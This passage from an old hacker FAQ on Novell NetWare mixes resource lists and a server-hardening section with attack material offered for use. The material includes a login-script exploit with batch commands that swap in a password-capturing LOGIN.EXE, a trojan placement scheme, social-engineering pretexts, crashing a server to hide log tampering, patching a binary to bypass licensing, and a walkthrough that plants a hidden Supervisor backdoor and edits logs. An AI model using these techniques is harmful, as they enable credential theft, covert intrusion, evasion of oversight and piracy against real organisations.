|
|
- Trojan program is placed on a workstation, hopefully on one frequented
|
|
by admins with Supe rights. The trojan program could be named something like
|
|
CHKVOL.COM or VOLINFO.COM, that is a real name but with a .COM extension.
|
|
They would be placed in the workstation's path.
|
|
|
|
- Once executed, the trojan uses API calls to determine if the person is
|
|
logged in as a Supe equivalent, if not it goes to the next step. Otherwise
|
|
some type of action to breach security is performed.
|
|
|
|
- The real CHKVOL.EXE or VOLINFO.EXE is ran.
|
|
|
|
The breach of security would typically be some type of command-line activity
|
|
that could be performed by system() calls. For example, PROP.EXE could be
|
|
run to build a property and the replacement LOGIN.EXE copied up to the
|
|
server in the SYS:LOGIN directory. Or RW access granted to the SYS:SYSTEM
|
|
directory for a non-Supe user like GUEST.
|
|
|
|
Once activated the trojan could also erase itself since it is no longer
|
|
needed.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
03-5. What are Trustee Directory Assignments?
|
|
|
|
The LAN God has pointed out quite correctly that Trustee Directory Assignments
|
|
are the most misunderstood and misconfigured portion of Novell Netware. Typically
|
|
a secure site should have Read and File Scan only in most directories, and
|
|
should not have any rights on the root directory of any volume. Rights assigned
|
|
via the Trustee Directory Assignments filter down the directory tree, so if a
|
|
user has Write access at the root directory, that user has Write access in every
|
|
subdirectory below it (unless explicitly limited in a subdirectory down stream).
|
|
And these assignments are not located in the bindery, but on each volume.
|
|
|
|
The following is a brief description of Trustees and Trustee Directory
|
|
Assignments cut and pasted from the unofficial comp.os.netware.security FAQ:
|
|
|
|
[quote]
|
|
A trustee is any user or group that has been granted access rights in a
|
|
directory.
|
|
|
|
The access rights in Novell NetWare 2 are slightly different from the ones in
|
|
NetWare 3.
|
|
|
|
The following is a summary of access rights for NetWare 3.
|
|
|
|
S - Supervisory. Any user with supervisory rights in a directory will
|
|
automatically inherit all other rights, regardless of whether they have been
|
|
explicitly granted or not. Supervisor equivalent accounts will hold this access
|
|
right in every directory.
|
|
|
|
R - Read. Enables users to read files.
|
|
|
|
C - Create. Enables users to create files and directories. Unless they also have
|
|
write access, they will not be able to edit files which have been created.
|
|
|
|
W - Write. Enables users to make changes to files. Unless they also have create
|
|
access, they may not be able to edit files, since the write operation can only be
|
|
used to extend files (not truncate them, which file editors need to do).
|
|
|
|
E - Erase. Enable users to erase files and remove directories.
|
|
|
|
M - Modify. Enable users to modify file attributes.
|
|
|
|
F - File scan. Enables users to see file and directory information. If a user
|
|
does not have file scan rights, they will not see any evidence of such files
|
|
existing.
|
|
|
|
A - Access control. Enable user to change trustee rights. They will be able to
|
|
add other users as trustees, remove trustees, and grant/revoke specific rights
|
|
from users. The only caveat of access control is that it is possible for users to
|
|
remove themselves (as trustees) from directories, thus losing all access control.
|
|
|
|
In addition to trustees and access rights, there is a concept of inherited rights
|
|
which means that users inherit rights from parent directories. For example, if
|
|
user ALICE has rights [CWEM] in a directory, and she has [RF] rights in the
|
|
parent directory then she will have [RCWEMF] rights as a result of the inherited
|
|
rights. This will only work if one of the rights that ALICE has in the two
|
|
directories is granted to a group; if both are granted to her, she will lose the
|
|
rights of the parent.
|
|
[end quote]
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
03-6. Are there any default Trustee Assignments that can be exploited?
|
|
|
|
Yes. By default the group EVERYONE has Create rights in SYS:MAIL. This
|
|
means the user (including GUEST) has the ability to write files to any
|
|
subdirectory in SYS:MAIL. The first versions of Netware included a simple
|
|
e-mail package, and every user that is created gets a subdirectory in
|
|
mail with RCWEMF, named after their object ID number. One consistent
|
|
number is the number 1, which is always assigned to Supervisor. Here's
|
|
one way to exploit it:
|
|
|
|
- Login as GUEST and change to the SYS:MAIL subdirectory.
|
|
|
|
- Type DIR. You will see one subdirectory, the one owned by GUEST. Change
|
|
into that directory (ex. here is C0003043)
|
|
|
|
- Type DIR. If there is no file named LOGIN, you can bet there may not be
|
|
one for Supervisor. If there is a default-looking LOGIN file, even a zero
|
|
length file, you cannot proceed.
|
|
|
|
- Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043
|
|
|
|
- Create a batch file (ex. here is BOMB.BAT) with the following entries:
|
|
|
|
@ECHO OFF
|
|
FLAG \LOGIN\LOGIN.EXE N > NUL
|
|
COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
|
|
FLAG \LOGIN\LOGIN.EXE SRO > NUL
|
|
\MAIL\C0003043\PROP -C > NUL
|
|
|
|
- Create a LOGIN file with the following entries:
|
|
|
|
MAP DISPLAY OFF
|
|
MAP ERRORS OFF
|
|
MAP G:=SYS:
|
|
DRIVE G:
|
|
COMMAND /C #\MAIL\1\BOMB
|
|
DRIVE F:
|
|
MAP DELETE G:
|
|
|
|
- Now copy the files to the Supervisor's SYS:MAIL directory from a drive
|
|
mapped to the SYS: volume.
|
|
|
|
TYPE BOMB.BAT > \MAIL\1\BOMB.BAT
|
|
TYPE LOGIN > \MAIL\1\LOGIN
|
|
|
|
- The next time the Supervisor logs in the LOGIN.EXE is replaced and the
|
|
PROP.EXE file is run, capturing passwords. Run PROP.EXE later to get the
|
|
passwords, and then once you have all the passwords you need (including
|
|
Supervisor) delete your LOGIN and BOMB.BAT file.
|
|
|
|
Admins can defeat this by creating default personal Login Scripts or by
|
|
adding an EXIT command to the end of the System Login Script. Later versions
|
|
of Netware create a zero-length LOGIN file at ID creation time in the
|
|
SYS:MAIL directories to defeat this.
|
|
|
|
---------------------------------------------------------------------------
|
|
---------------------------------------------------------------------------
|
|
|
|
Section 04
|
|
|
|
Miscellaneous Info on Netware
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
04-1. Why can't I get through the 3.x server to another network via TCP/IP?
|
|
|
|
Loading the TCPIP.NLM in a server with two cards does not mean that packets
|
|
will be forwarded from one card to another. For packet forwarding to work, the
|
|
AUTOEXEC.NCF file should have the line:
|
|
|
|
load tcpip forward=yes
|
|
|
|
For packets to go through the server, you must set up a "gateway=aa.bb.cc.dd"
|
|
option on the workstation. This leaves routing up to the server. If you are
|
|
writing hack tools, keep this in mind if they use IP. Some older routers may
|
|
not recognize the Netware server as a router, so you may not have many options
|
|
if your target is on the other side of one of these routers. Newer routers are
|
|
Netware aware and will "find" your server as a router through RIP.
|
|
|
|
Netware 3.11 IP will only forward between two different subnets. Proxy Arp is
|
|
currently not supported in Netware IP. Example:
|
|
|
|
123.45.6 & 123.45.7 with a mask of ff.ff.ff.00 will forward packets
|
|
|
|
123.45.6 & 231.45.7 with a mask of ff.ff.ff.00 will not
|
|
|
|
This way you do not waste precious time trying to cross an uncrossable river.
|
|
Some admins use this to limit the flow of IP traffic.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
04-2. How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?
|
|
|
|
For Netware 3.xx, use these command-line options:
|
|
|
|
SERVER -NS to skip STARTUP.NCF, and
|
|
|
|
SERVER -NA to skip AUTOEXEC.NCF
|
|
|
|
NetWare 2.x does not HAVE the files STARTUP.NCF and AUTOEXEC.NCF. Instead they
|
|
hard-code all the information into NET$OS.EXE, so you will have to rebuild it
|
|
to change anything.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
04-3. How can I login without running the System Login Script?
|
|
|
|
Often an admin will try and prevent a user from getting to DOS or breaking
|
|
out of the System Login Script to "control" the user. Here's to way to
|
|
prevent that -
|
|
|
|
- Use ATTACH instead of LOGIN to connect to a server. ATTACH will not run
|
|
the login script, whereas LOGIN will. ATTACH.EXE will either have to be
|
|
copied to a local HD or put in SYS:LOGIN.
|
|
- Use the /s <fname> option for LOGIN. Using "LOGIN /S NUL <login>" will
|
|
cause LOGIN to load the DOS device NUL which will always seem like an empty
|
|
file.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
04-4. How do I remotely reboot a Netware 3.x file server?
|
|
|
|
If you have access to a server via RCONSOLE it may come in handy after
|
|
loading or unloading an NLM to reboot a server. Build an NCF file by
|
|
doing the following steps -
|
|
|
|
- Create a file called DOWNBOY.NCF on your local drive. It should be
|
|
a text file and contain the following lines:
|
|
|
|
REMOVE DOS
|
|
DOWN
|
|
EXIT
|
|
|
|
- Copy up the file to the SYS:SYSTEM directory using RCONSOLE.
|
|
|
|
- At the System Console prompt, type DOWNBOY and enter.
|
|
|
|
What happens is this - the REMOVE DOS statement frees up the DOS section
|
|
in server RAM, the server is downed (if there are open files, you will
|
|
be given one of those "are you sure" messages, answer Y for yes), and
|
|
the EXIT command tries to return the server console to DOS. But since
|
|
you removed DOS from RAM, the server is warm booted.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
04-5. How can I abend a Netware server? And why?
|
|
|
|
I'll answer the second question first. You may be testing your server as an
|
|
administrator and wish to see how you are recovering from crashes. Or you
|
|
may be a hacker and wish to cover your tracks VERY DRAMATICALLY. After all,
|
|
if you are editing log files and they are going to look funny when you are
|
|
done, a good crash might explain why things look so odd in the logs.
|
|
|
|
These are per itsme:
|
|
|
|
- Netware 4.1 : type 512 chars on the console + NENTER -> abend
|
|
- Netware 3.11 : NCP request 0x17-subfn 0xeb with a connection number higher
|
|
than the maximum allowed will crash the server (yes you will need the APIs)
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
04-6. What is interesting about Netware 4.x's licensing?
|
|
|
|
It is possible to load multiple licenses and combine their total number of
|
|
users. For example, if you are in one of those Novell CNE classes where they
|
|
give you a 2 user 4.1 license, you can get everyone's CD in class and combine
|
|
them on one server. If you get 10 CDs you have a 20 user license. I know of no
|
|
limit to the maximum number of licenses and user limit, except for hardware
|
|
limitations supporting it. This means you could load more than one copy of
|
|
1000 user Netware 4.1 on a server (assuming you have unique copies, not the
|
|
same copy twice).
|
|
|
|
itsme has done some poking around with his tools, and has the following to say
|
|
regarding the SERVER.EXE that comes with Netware 4:
|
|
|
|
what's inside server.exe:
|
|
0001d7c7 server.nlm type=07
|
|
000d319d "Link" 000d504a
|
|
000d31a5 unicode.nlm type=00 (ordinary NLM)
|
|
000d504a "Link" 000d6e9c
|
|
000d5052 dsloader.nlm type=00 (ordinary NLM)
|
|
000d6e9c "Link" 000db808
|
|
000d6ea4 timesync.nlm type=00 (ordinary NLM)
|
|
000db808 polimgr.nlm type=0c ('hidden' NLM)
|
|
by editing the binary of server, and changing the type of polimgr.nlm
|
|
from 0c to 00 (offset 007a or 000db882 in server.exe)
|
|
it becomes unhidden.
|
|
hidden NLM's are protected from debugging with the netware debugger.
|
|
|
|
polimgr.nlm manages the license files, after it reads the file,
|
|
it checks with somekind of signature function whether it is a valid file
|
|
the function doing the checking can be made to always return OK, then
|
|
you can create an any number of users license.
|
|
|
|
---------------------------------------------------------------------------
|
|
---------------------------------------------------------------------------
|
|
|
|
Section 05
|
|
|
|
Resources
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
05-1. What are some Netware FTP locations?
|
|
|
|
These are from various FAQs. I have not checked all of these and I'm pretty
|
|
sure some may no longer be up. But here's a starting point.
|
|
|
|
Novell's ftp site:
|
|
|
|
ftp.novell.com 137.65.4.1
|
|
ftp.novell.de 193.97.1.1
|
|
|
|
Novell's ftp Mirrors:
|
|
|
|
netlab2.usu.edu 129.123.1.44 (the best)
|
|
bnug.proteon.com 128.185.17.201
|
|
bnug.harvard.edu 128.103.85.201
|
|
ftp.rug.nl /networks/novell 129.125.4.15
|
|
ftp.salford.ac.uk /novell 146.87.255.21
|
|
tui.lincoln.ac.nz /novell/novlib 138.75.90.4
|
|
novell.nrc.ca /netwire 132.246.160.4
|
|
|
|
Other Misc. Sites:
|
|
|
|
ml0.ucs.ed.ac.uk /guest/pc 129.215.112.49 (second best)
|
|
splicer2.cba.hawaii.edu /files/novell 128.171.17.2
|
|
/files/pegasus
|
|
cc.usu.edu /slip 129.123.1.1
|
|
/tcp-ip
|
|
risc.ua.edu /pub/network/novlib 130.160.4.7
|
|
/pub/network/pegasus
|
|
/pub/network/misc
|
|
/pub/network/tcpip
|
|
wuarchive.wustl.edu /etc/system/novell 128.252.135.4
|
|
nctuccca.edu.tw 140.111.1.10
|
|
ftp.uni-kl.de /pub/novell 131.246.9.95
|
|
netlab.usu.edu /novell 129.123.1.11
|
|
/netwatch
|
|
chaos.cc.ncsu.edu /pc/novell 152.1.19.23
|
|
/pc/utils
|
|
/pc/email
|
|
/pc/net
|
|
/pc/manage
|
|
dutiws.twi.tudelft.nl /pub/novell 130.161.156.11
|
|
jumper.mcc.ac.uk /pub/security/netware
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
05-2. Can I get files without FTP?
|
|
|
|
Try using the BITFTP-FTP/Email gateway. Just send e-mail containing HELP as
|
|
the BODY (not a subject) to BITFTP@PUCC.BITNET. It will send more info to
|
|
you.
|
|
|
|
Internet gateways are:
|
|
|
|
ftpmail@decwrl.dec.com
|
|
|
|
ftpmail@cs.uow.edu.au
|
|
|
|
If you are on Compuserve, type GO NETWIRE to get to Novell's forum. There are
|
|
files on there for downloading. Also try the CD NSEpro, which is most of the
|
|
Netwire forum put on CD.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
05-3. What are some Netware WWW locations?
|
|
|
|
http://www.novell.com/ Novell in Provo
|
|
http://www.novell.de/ Novell in Europe
|
|
http://www.netware.com/ Novell propaganda site
|
|
http://www.salford.ac.uk/ais/Network/Novell-Faq.html Novell@listserv.syr.edu
|
|
http://mft.ucs.ed.ac.uk/novell/techsup/techsup.htm Edinburg Tech Library*
|
|
http://fastlane.net/homepages/thegnome My home page
|
|
http://resudox.net/bio/mainpage.html Small tool collection
|
|
http://www.efs.mq.edu.au/novell/faq comp.sys.novell FAQ
|
|
http://www.cis.ohio-state.edu/hypertext/faq/usenet/netware/security/faq.html
|
|
comp.os.netware.security FAQ
|
|
|
|
*Excellent site for tons of techie info. The Netware Server Management
|
|
section should be read be all hackers and admins alike.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
05-4. What are some Netware USENET groups?
|
|
|
|
comp.os.netware.misc. (main group, replaced comp.sys.novell)
|
|
comp.os.netware.announce (moderated announcements)
|
|
comp.os.netware.security (security issues)
|
|
comp.os.netware.connectivity (connect. issues incl. LAN Workplace)
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
05-5. What are some Netware mailing lists?
|
|
|
|
* NOVELL@listserv.syr.edu - send an email with no subject to
|
|
listserv@listserv.syr.edu with "subscribe NOVELL Your Full Name" in the body.
|
|
You must reply to the message within two days or you'll not be added to the
|
|
list. The same address no subject with "unsubscribe NOVELL" takes you off the
|
|
list.
|
|
|
|
* BIG-LAN@suvm.acs.syr.edu - send subscriptions to LISTSERV@suvm.acs.syr.edu.
|
|
|
|
* CUTCP-L@nstn.ns.ca for a discussion of Charon and CUTCP Telnet issues. Send
|
|
subscription requests to listserv@nstn.ns.ca.
|
|
|
|
* INFO-IBMPC@arl.army.mil - send subscription requests to
|
|
INFO-IBMPC-REQUEST@arl.army.mil.
|
|
|
|
* PMAIL@ua1vm.ua.edu for discussion of Pegasus Mail. The author, David Harris,
|
|
is active on this list. Send subscription and other administrative requests to
|
|
listserv@ua1vm.ua.edu.
|
|
|
|
* NWP@UEL.AC.UK for programming under Netware. Send subscription requests to
|
|
LISTPROC@UEL.AC.UK.
|
|
|
|
* MSDOS-ANN@tacom-emh1.army.mil for announcements of SimTel uploads. To
|
|
subscribe, send mail to LISTSERV@tacom-emh1.army.mil with the message
|
|
SUBSCRIBE MSDOS-ANN.
|
|
|
|
* Garbo-Ann@Garbo.uwasa.fi for announcements of Garbo uploads. To subscribe,
|
|
send mail to Majordomo@Garbo.uwasa.fi with the message SUBSCRIBE GARBO-ANN
|
|
<firstname> <lastname>.
|
|
|
|
* CICA-L@ubvm.cc.buffalo.edu for announcements of Windows uploads to CICA. To
|
|
subscribe, send mail to Listserv@ubvm.cc.buffalo.edu with the message SUBSCRIBE
|
|
CICA-L <firstname> <lastname>.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
05-5. Where can I get the files mentioned in this FAQ?
|
|
|
|
SETPWD.NLM - m10.ucs.ed.ac.uk /guest/pc/novell/nlms setpwd.zip
|
|
SETSPWD.NLM - netlab2.usu.edu /misc
|
|
SETSPASS.NLM - netlab2.usu.edu /misc
|
|
NOVELBFH.EXE - jumper.mcc.ac.uk /pub/security/netware novelbfh.zip
|
|
KNOCK.EXE - jumper.mcc.ac.uk /pub/security/netware knock.zip
|
|
LOGIN.EXE - jumper.mcc.ac.uk /pub/security/netware nwl.zip
|
|
PROP.EXE - jumper.mcc.ac.uk /pub/security/netware nwl.zip
|
|
CHKNULL.EXE - jumper.mcc.ac.uk /pub/security/netware chk0.zip
|
|
USERLST.EXE - m10.ucs.ed.ac.uk /guest/pc/novell/utils jrb212a.zip
|
|
LASTHOPE.NLM - m10.ucs.ed.ac.uk /guest/pc/novell/nlms lasthope.zip
|
|
NW-HACK.EXE - jumper.mcc.ac.uk /pub/security/netware nw-hack.zip
|
|
SUPER.EXE - m10.ucs.ed.ac.uk /guest/pc/novell/utils super.zip
|
|
CONLOG.NLM - m10.ucs.ed.ac.uk /guest/pc/novell
|
|
X-AWAY.EXE - m10.ucs.ed.ac.uk /guest/pc/novell/utils x-away.zip
|
|
Bindview - Your local software dealer
|
|
GRPLIST.EXE - m10.ucs.ed.ac.uk /guest/pc/novell/utils jrb212a.zip
|
|
GETEQUIV.EXE - m10.ucs.ed.ac.uk /guest/pc/novell/utils jrb212a.zip
|
|
TRSTLIST.EXE - m10.ucs.ed.ac.uk /guest/pc/novell/utils jrb212a.zip
|
|
SECUREFX.NLM - www.novell.com Search for it in the Tech Section
|
|
RCON.FAQ - jumper.mcc.ac.uk /pub/security/netware rcon.faq
|
|
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
05-6. What are some good books for Netware?
|
|
|
|
For Netware basics, there are tons. Bill Lawrence has a number of books
|
|
that are easy to read but cover things with enough detail for a good
|
|
understanding. I recommend the latest stuff from him. Look in your local
|
|
bookstore's techie section. The Novell Press books are also good, but you
|
|
tend to pay more for the name.
|
|
|
|
For programming, quoted from my home page:
|
|
|
|
Programmer's Guide to Netware -- (1990) Author: Charles G. Rose. Publisher:
|
|
McGraw-Hill, Inc. The bible of Netware programming, dated since Novell has
|
|
changed virtually every header file, but still the best. Covers 2.x and 3.x
|
|
except for NLM programming. Lots of good source code.
|
|
|
|
Netware Programmer's Guide -- (1990) Author: John T. McCann. Publisher: M&T
|
|
Books. Another dated but classic book with lots of good source for learning.
|
|
|
|
Novell 4.0 NLM Programming -- (1993) Authors: Michael Day, Michael Koontz,
|
|
Daniel Marshall. Publisher: Sybex, Inc. Not as complete as I would like, but
|
|
I'm picky. Still a classic. Although the title implies 4.x, most of it still
|
|
works for 3.x, too. And if you can't get the kids to sleep, try reading them
|
|
the tons of useful source code. Jeez, you may have to leave the closet light
|
|
on, though...
|
|
|
|
---------------------------------------------------------------------------
|
|
---------------------------------------------------------------------------
|
|
|
|
Section 06
|
|
|
|
Netware APIs
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
06-1. Where can I get the Netware APIs?
|
|
|
|
Stateside call 1-800-RED-WORD, it's $50 USD, and includes a 2-user license
|
|
of Netware 4.1. Most brand-name compilers will work, but if you're writing
|
|
NLMs you'll need Watcom's latest. It's the only one I know of that will do
|
|
NLM linking.
|
|
|
|
---------------------------------------------------------------------------
|
|
---------------------------------------------------------------------------
|
|
|
|
Section 07
|
|
|
|
For Administrators Only
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
07-1. How do I secure my server?
|
|
|
|
This question is asked by administrators, and I'm sure no hackers will read
|
|
this info and learn what you admins might do to thwart hack attacks ;-)
|
|
|
|
One thing to keep in mind, most compromises of data occur from an employee
|
|
of the company, not an outside element. They may wish to access sensitive
|
|
personnel files, copy and sell company secrets, be disgruntled and wish to
|
|
cause harm, or break in for kicks or bragging rights. So trust no one.
|
|
|
|
Physically Secure The Server -
|
|
------------------------------
|
|
|
|
This is the simplest one. Keep the server under lock and key. If the server
|
|
is at a site where there is a data center (mainframes, midranges, etc) put it
|
|
in the same room and treat it like the big boxes. Access to the server's room
|
|
should be controlled minimally by key access, preferably by some type of key
|
|
card access which can be tracked. In large shops, a man trap (humanoid that
|
|
guards the room) should be in place.
|
|
|
|
If the server has a door with a lock, lock it (some larger servers have this)
|
|
and limit access to the key. This will secure the floppy drive. One paranoid
|
|
site I know of keeps the monitor and CPU behind glass, so that the keyboard
|
|
and floppy drive cannot be accessed by the same person at the same time.
|
|
|
|
If you only load NLMs from the SYS:SYSTEM directory, use the SECURE CONSOLE
|
|
command to prevent NLMs being loaded from the floppy or other location.
|
|
|
|
A hacker could load a floppy into the drive and run one of several utility
|
|
files to gain access to the server. Or they could steal a backup tape or just
|
|
power off the server! By physically securing the server, you can control who
|
|
has access to the server room, who has access to the floppy drive, backup
|
|
tapes, and the System Console. This step alone will eliminate 75% of attack
|
|
potential.
|
|
|
|
Secure Important Files -
|
|
------------------------
|
|
|
|
These should be stored offline. You should make copies of the STARTUP.NCF and
|
|
AUTOEXEC.NCF files. The bindery or NDS files should be backed up and stored
|
|
offsite. All System Login Scripts, Container Scripts, and any robotic or
|
|
non-human personal Login Scripts should be copied offline. A robotic or
|
|
non-human account would be an account used by an email gateway, backup
|
|
machine, etc.
|
|
|
|
Compile a list of NLMs and their version numbers, and a list of files from
|
|
the SYS:LOGIN, SYS:PUBLIC, and SYS:SYSTEM directories.
|
|
|
|
You should periodically check these files against the originals to ensure
|
|
none have been altered.
|
|
|
|
Replacing the files with different ones (like using itsme's LOGIN.EXE
|
|
instead of Novell's) will give the hacker access to the entire server. It is
|
|
also possible that the hacker will alter .NCF or Login Scripts to bypass
|
|
security or to open holes for later attacks.
|
|
|
|
Make a list of Users and their accesses -
|
|
-----------------------------------------
|
|
|
|
Use a tool like Bindview or GRPLIST.EXE from the JRB Utilities to get a list
|
|
of users and groups (including group membership). Once again, keep this
|
|
updated and check it frequently against the actual list.
|
|
|
|
Also run Security (from the SYS:SYSTEM directory) or GETEQUIV.EXE from the
|
|
JRB Utilities to determine who has Supervisor access. Look for odd accounts
|
|
with Supervisor access like GUEST or PRINTER.
|
|
|
|
It is also a good idea to look at Trustee Assignments and make sure access is
|
|
at a minimum. Check your run from Security to see if access is too great in
|
|
any areas, or run TRSTLIST from the JRB Utilities.
|
|
|
|
Security will turn up some odd errors if SUPER.EXE has been run. If you are
|
|
not using SUPER.EXE, delete and rebuild any odd accounts with odd errors
|
|
related to the Bindery, particularly if BINDFIX doesn't fix them yet the
|
|
account seems to work okay. If a hacker put in a backdoor using SUPER.EXE,
|
|
they could get in and perhaps leave other ways in.
|
|
|
|
Monitor the Console -
|
|
---------------------
|
|
|
|
Use the CONLOG.NLM to track the server console activity. This is an excellent
|
|
diagnostic tool since error messages tend to roll off the screen. It will
|
|
not track what was typed in at the console, but the system's responses will
|
|
be put in SYS:ETC\CONSOLE.LOG. When checking the console, hit the up arrow
|
|
to show what commands were last typed in.
|
|
|
|
While this won't work in large shops or shops with forgetful users, consider
|
|
using the SECUREFX.NLM (or SECUREFX.VAP for 2.x). This sometimes annoying
|
|
utility displays the following message on the console and to all the users
|
|
after a security breach:
|
|
|
|
"Security breach against station <connection number> DETECTED."
|
|
|
|
This will also be written to an error log. The following message is also
|
|
written the the log and to the console:
|
|
|
|
"Connection TERMINATED to prevent security compromise"
|
|
|
|
Turn on Accounting -
|
|
--------------------
|
|
|
|
Once Accounting is turned on, you can track every login and logout to the
|
|
server, including failed attempts.
|
|
|
|
Don't Use the Supervisor Account -
|
|
----------------------------------
|
|
|
|
Leaving the Supervisor logged in is an invitation to disaster. If packet
|
|
signature is not being used, someone could use HACK.EXE and gain access to the
|
|
server as Supervisor. HACK spoofs packets to make them look like they came from
|
|
the Supervisor to add Supe equivalence to other users.
|
|
|
|
Also, it implies a machine is logged in somewhere as Supervisor, if it has been
|
|
logged in for more than 8 hours chances are it may be unattended.
|
|
|
|
Use Packet Signature -
|
|
----------------------
|
|
|
|
To prevent packet spoofing (i.e. HACK.EXE) enforce packet signature. Add the
|
|
following line to your AUTOEXEC.NCF -
|
|
|
|
SET NCP PACKET SIGNATURE OPTION=3
|
|
|
|
This forces packet signature to be used. Clients that do not support packet
|
|
signature will not be able to access, so they will need to be upgraded if you
|
|
have any of these clients.
|
|
|
|
Use RCONSOLE Sparingly (or not at all) -
|
|
----------------------------------------
|
|
|
|
When using RCONSOLE you are subject to a packet sniffer getting the packets
|
|
and getting the password. While this is normally above the average user's
|
|
expertise, DOS-based programs that put the network interface card into
|
|
promiscuous mode and capture every packet on the wire are readily available
|
|
on the Internet. The encryption method is not foolproof.
|
|
|
|
Remember you cannot "detect" a sniffer in use on the wire.
|
|
|
|
Do NOT use a switch to limit the RCONSOLE password to just the Supervisor
|
|
password. All you have done is set the password equal to the switch. If
|
|
you use the line "LOAD REMOTE /P=", Supervisor's password will get in (it
|
|
ALWAYS does) and the RCONSOLE password is now "/P=". Since the RCONSOLE
|
|
password will be in plain text in the AUTOEXEC.NCF file, to help secure
|
|
it try adding a non-printing character or a space to the end of the
|
|
password.
|
|
|
|
Move the AUTOEXEC.NCF to a more secure location (3.x and above) -
|
|
-----------------------------------------------------------------
|
|
|
|
Put your AUTOEXEC.NCF file in the same location as the SERVER.EXE file. If a
|
|
server is compromised in that access to the SYS:SYSTEM directory is available
|
|
to an unauthorized user, you will at least have protected the AUTOEXEC.NCF
|
|
file.
|
|
|
|
A simple trick you can do is "bait" a potential hacker by keeping a false
|
|
AUTOEXEC.NCF file in the SYS:SYSTEM with a false RCONSOLE password (among
|
|
other things).
|
|
|
|
Use the Lock File Server Console option in Monitor (3.x and above) -
|
|
--------------------------------------------------------------------
|
|
|
|
Even if the RCONSOLE password is discovered, the Supe password is discovered,
|
|
or physical access is gained, a hard to guess password on the console will
|
|
stop someone from accessing the console.
|
|
|
|
Add EXIT to the end of the System Login Script -
|
|
------------------------------------------------
|
|
|
|
By adding the EXIT command as the last line in the System Login Script,
|
|
you can control to a degree what the user is doing. This eliminates the
|
|
potential for personal Login Script attacks, as described in section 03-6.
|
|
|
|
Upgrade to Netware 4.1 -
|
|
------------------------
|
|
|
|
Besides making a ton of Novell sales and marketing people very happy, you
|
|
will defeat most of the techniques described in this faq. Most well-known
|
|
hacks are for 3.11. If you don't want to make the leap to NDS and 4.1, at
|
|
least get current and go to 3.12.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
07-2. I'm an idiot. Exactly how do hackers get in?
|
|
|
|
We will use this section as an illustrated example of how these techniques can
|
|
be used in concert to gain Supe access on the target server. These techniques
|
|
show the other thing that really helps in Netware hacking - a little social
|
|
engineering.
|
|
|
|
Exploitation #1
|
|
---------------
|
|
|
|
Assume tech support people are dialing in for after hours support. Call up and
|
|
pose as a vendor of security products and ask for tech support person. Called
|
|
this person posing as a local company looking for references, ask about remote
|
|
dial-in products. Call operator of company and ask for help desk number. Call
|
|
help desk after hours and ask for dial-in number, posing as the tech support
|
|
person. Explain home machine has crashed and you've lost number.
|
|
|
|
Dial in using the proper remote software and try simple logins and passwords for
|
|
dial-in software if required. If you can't get in call help desk especially if
|
|
others such as end users use dial-in.
|
|
|
|
Upload alternate LOGIN.EXE and PROP.EXE, and edit AUTOEXEC.BAT to run the
|
|
alternate LOGIN.EXE locally. Rename PROP.EXE to IBMNBIO.COM and make it hidden.
|
|
Before editing AUTOEXEC.BAT change the date and time of the PC so that the date/time stamp reflects the original before the edit.
|
|
|
|
Dial back in later, rename PROP.EXE and run it to get Accounts and passwords.
|
|
|
|
Summary - Any keystroke capture program could produce the same results as the
|
|
alternate LOGIN.EXE and PROP.EXE, but you end up with a Supe equivalent account.
|
|
|
|
Exploitation #2
|
|
---------------
|
|
|
|
Load a DOS-based packet sniffer, call the sys admin and report a FATAL
|
|
DIRECTORY ERROR when trying to access the server. He predictively will use
|
|
RCONSOLE to look at the server and his packet conversation can be captured. He
|
|
will find nothing wrong (of course).
|
|
|
|
Study the capture and use the RCON.FAQ to obtain the RCONSOLE password. Log in
|
|
as GUEST, create a SYSTEM subdirectory in the home directory (or any directory
|
|
on SYS:). Root map a drive to the new SYSTEM, copy RCONSOLE.* to it, and run
|
|
RCONSOLE. Once in try to unload CONLOG and upload BURGLAR.NLM to the real
|
|
SYS:SYSTEM. Created a Supe user (i.e. NEWUSER) and then typed CLS to clear the
|
|
server console screen.
|
|
|
|
Log in as NEWUSER. Erase BURGLAR.NLM, new SYSTEM directory and its contents.
|
|
Run PURGE in those directories. Turn off Accounting if on. Give GUEST Supe
|
|
rights. Set toggle with SUPER.EXE for NEWUSER. Run FILER and note SYS:ETC\CONSOLE.LOG (if CONLOG was loaded) owner and create date, as well as
|
|
SYS:SYSTEM\SYS$ERR.LOG owner and create date. Edit SYS:ETC\CONSOLE.LOG and
|
|
remove BURGLAR.NLM activity, including RCONSOLE activity. Edit and remove
|
|
RCONSOLE activity from SYS:SYSTEM\SYS$ERR.LOG as well. After saving files,
|
|
run FILER and restore owner and dates if needed. Run PURGE in their directories.
|
|
Logout and login as GUEST and set SUPER.EXE toggle. Remove NEWUSER Supe rights
|
|
and logout. Login as NEWUSER with SUPER.EXE and remove GUEST Supe rights.
|
|
Finally logout and login as GUEST with SUPER.EXE and turn on Accounting if it
|
|
was on.
|
|
|
|
Summary - You have created a backdoor into the system that will not show up as
|
|
somthing unusual in the Accounting log. Login as GUEST using SUPER.EXE and turn
|
|
off Accounting. Logout and back in as NEWUSER with SUPER.EXE, do what you
|
|
need to do (covering file alterations with Filer), and logout. Log back in as
|
|
GUEST and turn on Accounting. The NET$ACCT.DAT file shows only GUEST logging in
|
|
followed by GUEST logging out.
|
|
|
|
---------------------------------------------------------------------------
|